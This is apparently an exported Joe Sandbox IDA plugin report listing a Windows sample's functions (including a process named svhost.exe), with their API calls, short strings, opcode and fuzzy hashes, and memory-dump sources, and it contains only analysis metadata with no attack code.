Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f1fb0000_prog.jbxd

Similarity

API ID: AlarmAuditCloseObject
String ID:
API String ID: 2871759311-0
Opcode ID: 59d44b6da759f21b666a868a4e6a88dd90aa5652e3e5bdc8205d5884860000a3
Instruction ID: 89f5f0c60662be5672ec6f83c237a5480ff410af56faf06e123740b1649ac4d8
Opcode Fuzzy Hash: 59d44b6da759f21b666a868a4e6a88dd90aa5652e3e5bdc8205d5884860000a3
Instruction Fuzzy Hash: D5F0EC7190EB4782D710CB51F85502A77E0FB483E0B004835E9AE8776AEF3CE0509B40

Non-executed Functions

Function 00007FF6F1FB6628 Relevance: 40.9, APIs: 22, Strings: 1, Instructions: 667
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF6F1FB6799
_wcsnicmp.MSVCRT ref: 00007FF6F1FB67C9
wcslen.MSVCRT ref: 00007FF6F1FB67D9
memset.MSVCRT ref: 00007FF6F1FB696B
wcscpy.MSVCRT ref: 00007FF6F1FB6976
wcscat.MSVCRT ref: 00007FF6F1FB6985
_time64.MSVCRT ref: 00007FF6F1FB69FC
srand.MSVCRT ref: 00007FF6F1FB6A00
_time64.MSVCRT ref: 00007FF6F1FB6A07

Strings

X&, xrefs: 00007FF6F1FB729F

Memory Dump Source

Source File: 00000000.00000002.2224666564.00007FF6F1FB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6F1FB0000, based on PE: true

Associated: 00000000.00000002.2224627275.00007FF6F1FB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224693790.00007FF6F1FBB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224717932.00007FF6F1FBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224744703.00007FF6F1FBF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225019999.00007FF6F223B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225045686.00007FF6F223D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225066265.00007FF6F2240000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f1fb0000_prog.jbxd

Similarity

API ID: _time64wcslen$_wcsnicmpmemsetsrandwcscatwcscpy
String ID: X&
API String ID: 2454069949-221892188
Opcode ID: d1337906cd7b87a5fc8dec7907ca3527d0c29fd3263de3f14483aafe266232c2
Instruction ID: e6d879370e57bc6c13e2aba03982ac47596132c93549614b3380d5f66fab3475
Opcode Fuzzy Hash: d1337906cd7b87a5fc8dec7907ca3527d0c29fd3263de3f14483aafe266232c2
Instruction Fuzzy Hash: 96827F51C2E69384F711CF29E9123B863A0BF95398F445232D9ADD26F1FFACA945C704

Function 00007FF6F1FB11D8 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_initterm.MSVCRT ref: 00007FF6F1FB120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF6F1FB1156), ref: 00007FF6F1FB124E
malloc.MSVCRT ref: 00007FF6F1FB127E
strlen.MSVCRT ref: 00007FF6F1FB12A4
malloc.MSVCRT ref: 00007FF6F1FB12B0
memcpy.MSVCRT ref: 00007FF6F1FB12C3
_cexit.MSVCRT ref: 00007FF6F1FB132D

Strings

&, xrefs: 00007FF6F1FB1265
;*, xrefs: 00007FF6F1FB1310

Memory Dump Source

Source File: 00000000.00000002.2224666564.00007FF6F1FB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6F1FB0000, based on PE: true

Associated: 00000000.00000002.2224627275.00007FF6F1FB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224693790.00007FF6F1FBB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224717932.00007FF6F1FBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224744703.00007FF6F1FBF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225019999.00007FF6F223B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225045686.00007FF6F223D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225066265.00007FF6F2240000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f1fb0000_prog.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled_cexit_inittermmemcpystrlen
String ID: &$;*
API String ID: 3825114775-510990765
Opcode ID: bb6b8f63c8978df2cb712fb4502542c6b0eedd4902725eabed431cc5bfcc8d57
Instruction ID: 424661b50ab6ab28d33a60154714a4640ac580793488cad6f4d48ad3898331c5
Opcode Fuzzy Hash: bb6b8f63c8978df2cb712fb4502542c6b0eedd4902725eabed431cc5bfcc8d57
Instruction Fuzzy Hash: F9410571E1EA4784FB11DB19E9652B923E1BF897E8F444031C9ADC32E2FF6CA8418710

Function 00007FF6F1FB3350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6F1FB33B2
memset.MSVCRT ref: 00007FF6F1FB3445
wcscpy.MSVCRT ref: 00007FF6F1FB349D
wcscat.MSVCRT ref: 00007FF6F1FB34A8
wcslen.MSVCRT ref: 00007FF6F1FB34B9
memset.MSVCRT ref: 00007FF6F1FB35D4
wcscpy.MSVCRT ref: 00007FF6F1FB3635
wcscat.MSVCRT ref: 00007FF6F1FB3640
wcslen.MSVCRT ref: 00007FF6F1FB3654

Strings

0, xrefs: 00007FF6F1FB368D
0, xrefs: 00007FF6F1FB34E6
@, xrefs: 00007FF6F1FB3698
, xrefs: 00007FF6F1FB36DD
@, xrefs: 00007FF6F1FB34F1

Memory Dump Source

Source File: 00000000.00000002.2224666564.00007FF6F1FB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6F1FB0000, based on PE: true

Associated: 00000000.00000002.2224627275.00007FF6F1FB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224693790.00007FF6F1FBB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224717932.00007FF6F1FBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224744703.00007FF6F1FBF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225019999.00007FF6F223B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225045686.00007FF6F223D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225066265.00007FF6F2240000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f1fb0000_prog.jbxd

Similarity

API ID: memset$wcscatwcscpywcslen
String ID: $0$0$@$@
API String ID: 4263182637-1413854666
Opcode ID: 62e16f804d0a78f42930f5485aab4d55bda2c88156d1efd01dd84db9e24e5fef
Instruction ID: 6f04229e4f592da45a7ba70c5dbc9a14c85bd199c140eb6d9b8889ac27a7ab0c
Opcode Fuzzy Hash: 62e16f804d0a78f42930f5485aab4d55bda2c88156d1efd01dd84db9e24e5fef
Instruction Fuzzy Hash: C2B17E2191D6C285F721CB25E8163AAB7A0FF85398F400235EAD8D7AE5EFBDD5458B00

Function 00007FF6F1FB2690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF6F1FB2795
memset.MSVCRT ref: 00007FF6F1FB2865
wcscpy.MSVCRT ref: 00007FF6F1FB28CE
wcscat.MSVCRT ref: 00007FF6F1FB28D9
wcslen.MSVCRT ref: 00007FF6F1FB28E1
wcslen.MSVCRT ref: 00007FF6F1FB28F6
wcslen.MSVCRT ref: 00007FF6F1FB296D
wcslen.MSVCRT ref: 00007FF6F1FB29E8

Strings

`, xrefs: 00007FF6F1FB2B91
X, xrefs: 00007FF6F1FB2B79
0, xrefs: 00007FF6F1FB279A

Memory Dump Source

Source File: 00000000.00000002.2224666564.00007FF6F1FB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6F1FB0000, based on PE: true

Associated: 00000000.00000002.2224627275.00007FF6F1FB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224693790.00007FF6F1FBB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224717932.00007FF6F1FBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224744703.00007FF6F1FBF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225019999.00007FF6F223B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225045686.00007FF6F223D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225066265.00007FF6F2240000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f1fb0000_prog.jbxd

Similarity

API ID: wcslen$memsetwcscatwcscpywcsncmp
String ID: 0$X$`
API String ID: 329590056-2527496196
Opcode ID: 7bd2d40a281e62959ce0fd44c16303bd5a4e704b549ab88744f3f2b4b0171fba
Instruction ID: 195ec5b534d4aca2d8cec8208204f37997f6ed06f16df7b61f12f293ad703bf1
Opcode Fuzzy Hash: 7bd2d40a281e62959ce0fd44c16303bd5a4e704b549ab88744f3f2b4b0171fba
Instruction Fuzzy Hash: 60029D2291DB8285E720CF19E8553AA77A0FB857A8F504235DAEC877E9EF7CD145CB00

Function 00007FF6F1FB1BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF6F1FBD3B0,00007FF6F1FBD3B0,?,?,00007FF6F1FB0000,?,00007FF6F1FB1991), ref: 00007FF6F1FB1C63
VirtualProtect.KERNEL32(?,?,?,?,00007FF6F1FBD3B0,00007FF6F1FBD3B0,?,?,00007FF6F1FB0000,?,00007FF6F1FB1991), ref: 00007FF6F1FB1CC7
memcpy.MSVCRT ref: 00007FF6F1FB1CE0
GetLastError.KERNEL32(?,?,?,?,00007FF6F1FBD3B0,00007FF6F1FBD3B0,?,?,00007FF6F1FB0000,?,00007FF6F1FB1991), ref: 00007FF6F1FB1D23

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF6F1FB1D17
VirtualProtect failed with code 0x%x, xrefs: 00007FF6F1FB1D29
Address %p has no image-section, xrefs: 00007FF6F1FB1CF4

Memory Dump Source

Source File: 00000000.00000002.2224666564.00007FF6F1FB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6F1FB0000, based on PE: true

Associated: 00000000.00000002.2224627275.00007FF6F1FB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224693790.00007FF6F1FBB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224717932.00007FF6F1FBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224744703.00007FF6F1FBF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225019999.00007FF6F223B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225045686.00007FF6F223D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225066265.00007FF6F2240000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f1fb0000_prog.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: f71d7c17d8efb8792bd36a77065ce856a453be169e7440349e6f230ab35daf72
Instruction ID: fad6f3fd6b6a0364e32e1aaf27eb82d197e901acfd0d766fb80e608015ca8e62
Opcode Fuzzy Hash: f71d7c17d8efb8792bd36a77065ce856a453be169e7440349e6f230ab35daf72
Instruction Fuzzy Hash: 674158A1E0EA4781EB11DB02E8586B827E0FB84BE8F544532CA6DC36E1EF3CE545C700

Function 00007FF6F1FB2104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6F1FB2118
TlsGetValue.KERNEL32 ref: 00007FF6F1FB214F
GetLastError.KERNEL32 ref: 00007FF6F1FB2154
LeaveCriticalSection.KERNEL32 ref: 00007FF6F1FB2212
free.MSVCRT ref: 00007FF6F1FB2234
DeleteCriticalSection.KERNEL32 ref: 00007FF6F1FB225D

Memory Dump Source

Source File: 00000000.00000002.2224666564.00007FF6F1FB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6F1FB0000, based on PE: true

Associated: 00000000.00000002.2224627275.00007FF6F1FB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224693790.00007FF6F1FBB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224717932.00007FF6F1FBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224744703.00007FF6F1FBF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225019999.00007FF6F223B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225045686.00007FF6F223D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225066265.00007FF6F2240000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f1fb0000_prog.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: 30ded24aebec5e3133582754e9744752ca6952f0633bd4de7137b6fa68abc3ee
Instruction ID: 9b1eee4995364f677000dabb61ce8ab94e46c48e1360d891537e0cf07a365544
Opcode Fuzzy Hash: 30ded24aebec5e3133582754e9744752ca6952f0633bd4de7137b6fa68abc3ee
Instruction Fuzzy Hash: 4921C725E1A94781FB59DB01EA6527922A0BF44BE4F540235C97DCB6E4FFACBC468700

Function 00007FF6F1FB1E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF6F1FB1E27

Memory Dump Source

Source File: 00000000.00000002.2224666564.00007FF6F1FB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6F1FB0000, based on PE: true

Associated: 00000000.00000002.2224627275.00007FF6F1FB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224693790.00007FF6F1FBB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224717932.00007FF6F1FBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224744703.00007FF6F1FBF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225019999.00007FF6F223B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225045686.00007FF6F223D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225066265.00007FF6F2240000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f1fb0000_prog.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: aac3cff987aa207af6683fbdf05d97adeeaddfa67e5404ea55e0566f274569b7
Instruction ID: cae7de0ad6ae88e038b38b9cddd298ccd70ebecdeaef6e0fdf1aaf0217d80490
Opcode Fuzzy Hash: aac3cff987aa207af6683fbdf05d97adeeaddfa67e5404ea55e0566f274569b7
Instruction Fuzzy Hash: BF212721E0E10741FB75D615A9903B911C1AF987F8F258535DA2DC72D4FF6CA982C240

Function 00007FF6F1FB38E0 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF6F1FB38F8
wcslen.MSVCRT ref: 00007FF6F1FB396E

Strings

@, xrefs: 00007FF6F1FB392A
0, xrefs: 00007FF6F1FB3922

Memory Dump Source

Source File: 00000000.00000002.2224666564.00007FF6F1FB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6F1FB0000, based on PE: true

Associated: 00000000.00000002.2224627275.00007FF6F1FB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224693790.00007FF6F1FBB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224717932.00007FF6F1FBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224744703.00007FF6F1FBF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225019999.00007FF6F223B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225045686.00007FF6F223D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225066265.00007FF6F2240000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f1fb0000_prog.jbxd

Similarity

API ID: wcslen
String ID: 0$@
API String ID: 4088430540-1545510068
Opcode ID: ef7ed66185c074b667720f16183e97d9ab3fb1e6636ca8cac5f9c7ec846e676b
Instruction ID: b1cbf3f3fed3c82ec28eaf874fe3f141fdbd6363bb586d138124f0e8c8773ad3
Opcode Fuzzy Hash: ef7ed66185c074b667720f16183e97d9ab3fb1e6636ca8cac5f9c7ec846e676b
Instruction Fuzzy Hash: 5C113A2252C68186E361DB14F44679AB7B4FFD43A8F505125FA8D83BA8EF7DD14ACB00

Function 00007FF6F1FB1880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6F1FB1247), ref: 00007FF6F1FB19F9

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF6F1FB1B7B
Unknown pseudo relocation protocol version %d., xrefs: 00007FF6F1FB1B8B

Memory Dump Source

Source File: 00000000.00000002.2224666564.00007FF6F1FB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6F1FB0000, based on PE: true

Associated: 00000000.00000002.2224627275.00007FF6F1FB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224693790.00007FF6F1FBB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224717932.00007FF6F1FBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224744703.00007FF6F1FBF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225019999.00007FF6F223B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225045686.00007FF6F223D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225066265.00007FF6F2240000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f1fb0000_prog.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 6188dcfb9ba409927f7d43b305952e2ca18d87eecd447261aab3e5aaa2c983f9
Instruction ID: 0266a26777ab0ed45d7de0e0c767879ac52fc77fedc1eb283a930a9e682731fd
Opcode Fuzzy Hash: 6188dcfb9ba409927f7d43b305952e2ca18d87eecd447261aab3e5aaa2c983f9
Instruction Fuzzy Hash: B3514B35E0A547C6EB10CB22E8456B827A1BB04BE8F484131D97D877E4EF7CE996C700

Function 00007FF6F1FB1800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF6F1FB185A

Strings

Unknown error, xrefs: 00007FF6F1FB1824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6F1FB184D

Memory Dump Source

Source File: 00000000.00000002.2224666564.00007FF6F1FB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6F1FB0000, based on PE: true

Associated: 00000000.00000002.2224627275.00007FF6F1FB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224693790.00007FF6F1FBB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224717932.00007FF6F1FBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224744703.00007FF6F1FBF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225019999.00007FF6F223B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225045686.00007FF6F223D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225066265.00007FF6F2240000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f1fb0000_prog.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: d196cce22733da6664e8edb65b95f02763a682be6f02ab55e526d30871c6c29c
Instruction ID: 77ea13b6c2d0dfb4b526a751cbd252bbe2c18c1760117da614c14d192417af2c
Opcode Fuzzy Hash: d196cce22733da6664e8edb65b95f02763a682be6f02ab55e526d30871c6c29c
Instruction Fuzzy Hash: 44F0C221E1EA4682E321EB24A9410B963A0FB493E5F809235DE5DD3291EF2CF1828300

Function 00007FF6F1FB219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6F1FB21B2
TlsGetValue.KERNEL32 ref: 00007FF6F1FB21EB
GetLastError.KERNEL32 ref: 00007FF6F1FB21F0
LeaveCriticalSection.KERNEL32 ref: 00007FF6F1FB226C

Memory Dump Source

Source File: 00000000.00000002.2224666564.00007FF6F1FB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6F1FB0000, based on PE: true

Associated: 00000000.00000002.2224627275.00007FF6F1FB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224693790.00007FF6F1FBB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224717932.00007FF6F1FBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224744703.00007FF6F1FBF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225019999.00007FF6F223B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225045686.00007FF6F223D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225066265.00007FF6F2240000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f1fb0000_prog.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 0d3f40a56fc230f51008cd68afb882d42e2fa9fd450aedc21c851e2dc6c825f8
Instruction ID: b634974133c8955672c9e678fd87843e9f5eb0b755524916624dac39170079e2
Opcode Fuzzy Hash: 0d3f40a56fc230f51008cd68afb882d42e2fa9fd450aedc21c851e2dc6c825f8
Instruction Fuzzy Hash: 80011625E0A64381F74ADB01AE1427822A0BF04BE4F540135CA2DC76E0FF7CF8958200

Analysis Process: svhost.exePID: 1576, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	184
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF7E32F118B Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 108
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00007FF7E32F11A5
_amsg_exit.MSVCRT ref: 00007FF7E32F11CC
_initterm.MSVCRT ref: 00007FF7E32F120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF7E32F1156), ref: 00007FF7E32F124E
malloc.MSVCRT ref: 00007FF7E32F127E
strlen.MSVCRT ref: 00007FF7E32F12A4
malloc.MSVCRT ref: 00007FF7E32F12B0
memcpy.MSVCRT ref: 00007FF7E32F12C3
_cexit.MSVCRT ref: 00007FF7E32F132D

Strings

;*, xrefs: 00007FF7E32F1310
&, xrefs: 00007FF7E32F1265

Memory Dump Source

Source File: 00000023.00000002.2341812331.00007FF7E32F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E32F0000, based on PE: true

Associated: 00000023.00000002.2341768752.00007FF7E32F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341857755.00007FF7E32FB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341885327.00007FF7E32FE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342095652.00007FF7E357D000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342114716.00007FF7E3580000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff7e32f0000_svhost.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID: &$;*
API String ID: 2643109117-510990765
Opcode ID: f214d2cb23ad4a7d8a6f2e16a4dc08a5006247cdfdc4fc33eaf7806aa3e5334d
Instruction ID: 0621b66357c16ae95237b71de1d01896b3067d3fe2f2a2c5e32d646f8df6a3ea
Opcode Fuzzy Hash: f214d2cb23ad4a7d8a6f2e16a4dc08a5006247cdfdc4fc33eaf7806aa3e5334d
Instruction Fuzzy Hash: 6F416D31E0968685F7C0BB25E954379ABA9AF84780FC44037C98E737A1DE3DF4619722

Function 00007FF7E32F1394 Relevance: 1.5, APIs: 1, Instructions: 24
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateUserPhysicalPagesEx.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E32F1156), ref: 00007FF7E32F13F7

Memory Dump Source

Source File: 00000023.00000002.2341812331.00007FF7E32F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E32F0000, based on PE: true

Associated: 00000023.00000002.2341768752.00007FF7E32F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341857755.00007FF7E32FB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341885327.00007FF7E32FE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342095652.00007FF7E357D000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342114716.00007FF7E3580000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ff7e32f0000_svhost.jbxd

Similarity

API ID: AllocatePagesPhysicalUser
String ID:
API String ID: 889254806-0
Opcode ID: 59d44b6da759f21b666a868a4e6a88dd90aa5652e3e5bdc8205d5884860000a3
Instruction ID: 057e3070e600fe89979ce83345b0a02ec157209caf7c8bf441fc746ef050681a
Opcode Fuzzy Hash: 59d44b6da759f21b666a868a4e6a88dd90aa5652e3e5bdc8205d5884860000a3
Instruction Fuzzy Hash: 28F0FF7190CB4183E651EB51F84422ABB69FB88780B40483AEACC77725DF3CE060CB66

Non-executed Functions

Function 00007FF7E32F11D8 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_initterm.MSVCRT ref: 00007FF7E32F120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF7E32F1156), ref: 00007FF7E32F124E
malloc.MSVCRT ref: 00007FF7E32F127E
strlen.MSVCRT ref: 00007FF7E32F12A4
malloc.MSVCRT ref: 00007FF7E32F12B0
memcpy.MSVCRT ref: 00007FF7E32F12C3
_cexit.MSVCRT ref: 00007FF7E32F132D

Strings

;*, xrefs: 00007FF7E32F1310
&, xrefs: 00007FF7E32F1265

Memory Dump Source

Source File: 00000023.00000002.2341812331.00007FF7E32F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7E32F0000, based on PE: true

Associated: 00000023.00000002.2341768752.00007FF7E32F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341857755.00007FF7E32FB000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2341885327.00007FF7E32FE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000023.00000002.2342095652.00007FF7E357D000.00000002.00000001.01000000.00000005.sdmpDownload File
